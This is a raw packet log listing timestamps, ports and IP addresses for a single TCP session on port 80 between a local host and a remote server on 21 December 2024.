Dec 21, 2024 10:15:31.533549070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.533788919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.533845901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.534549952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.534605026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.534682035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.535242081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.535541058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.535670996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.535778999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.536590099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.536772013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.536839962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.537638903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.537687063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.537698030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.537828922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.538615942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.538737059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.538754940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.539155960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.539671898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.539824963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.539906025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.540685892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.540759087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.540947914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.541095972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.541790009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.541807890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.541868925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.541868925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.542726040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.542834044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.542866945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.543112040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.543731928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.543951988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.544038057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.544877052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.544996023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.545025110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.545114040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.545779943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.545839071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.545845985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.545937061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.546763897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.546884060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.546905041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.547270060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.547851086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.547970057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.548019886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.548861980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.549137115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.549319983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.549890995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.550173044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.550226927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.550863028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.550961971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.550986052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.551279068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.551887035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.551959991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.552021027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.552361965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.552931070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.552979946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.553098917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.553216934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.553961039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.554037094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.554110050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.554531097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.555129051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.555141926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.555200100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.555993080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.556288958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.556351900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.557035923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.557359934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.557409048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.558095932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.558183908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.558379889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.559202909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.559365034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.559438944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.560065031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.560138941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.560240984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.561084986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.561233044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.561300039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.562093019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.562210083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.562233925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.562285900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.563241005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.563325882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.563342094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.563385963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.564291954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.564305067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.564361095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.564361095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.565258980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.565283060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.565330029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.566217899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.566334963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.566390038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.567222118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.567321062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.567471981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.567565918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.568255901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.568305969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.568380117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.568459034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.569318056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.569374084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.569474936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.569511890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.570400953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.570458889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.570466042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.570550919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.571307898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.571465015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.571490049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.571546078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.572452068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.572513103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.572542906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.572603941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.573319912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.573419094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.573438883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.574228048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.574356079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.574448109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.574474096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.577354908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.713655949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.713726044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.713809967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.713862896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.714216948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.714227915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.714425087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.715210915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.715269089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.715331078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.716360092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.716514111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.716537952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.717267990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.717370987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.717437983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.718024015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.718364954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.718420029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.718442917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.718493938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.719280005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.719336033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.719362974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.719794035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.720341921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.720400095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.720576048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.720630884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.721451044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.721524000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.722433090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.722444057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.722522974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.722568989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.722810030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.723824978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.723925114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.723941088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.724288940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.724725008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.724771023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.724791050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.724807978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.725642920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.725692034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.725703955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.726187944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.728810072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.728913069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.729976892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730084896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.730144978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730155945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730165958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730175972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730201006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.730269909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.730684996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730695963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730705976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730717897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.730781078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.730781078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.731574059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.731633902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.731674910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.731674910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.732570887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.732669115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.732688904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.732734919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.733560085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.733645916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.733684063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.734055042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.734616995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.734699011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.734761000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.735677004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.735702991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.735713959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.735790968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.736619949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.736757994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.736835003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.737087011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.737863064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.737919092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.737983942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.738035917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.738713980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.738768101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.738790989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.738848925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.739783049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.739829063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.739850998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.739929914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.740679026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.740744114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.740952015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.741555929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.741724968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.741820097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.741847038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.741950035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.742723942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.742834091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.742911100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.743797064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.743876934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.743927002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.744106054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.744812012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.744904041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.744925022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.745068073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.745824099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.745907068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.745929003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.746001005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.746861935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.746923923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.747087955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.750943899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.750956059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.750966072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.751007080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.751048088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.751082897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.751143932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.751290083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.751301050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.751342058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.752315044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.752348900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.752464056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.752547979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.753288984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.753443003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.753563881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.754491091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.754503012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.754599094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.755345106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.755444050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.755496979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.755584955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.756391048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.756520033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.756577015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.756666899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.757433891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.757590055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.757662058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.758477926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.758625984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.758629084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.758749962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.759387016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.759486914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.759541035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.759705067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.760318995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.760329962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.760373116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.761439085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.761559963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.761734009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.761817932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.762578964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.762589931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.762717009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.763501883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.763675928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.763679028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.763911963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.764513016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.764564991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.764676094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.764725924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.765460968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.765518904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.765613079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.765733957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.766670942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.766684055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.766729116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.766755104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.767541885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.767627001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.767680883 CET	80	49808	31.41.244.11	192.168.2.4
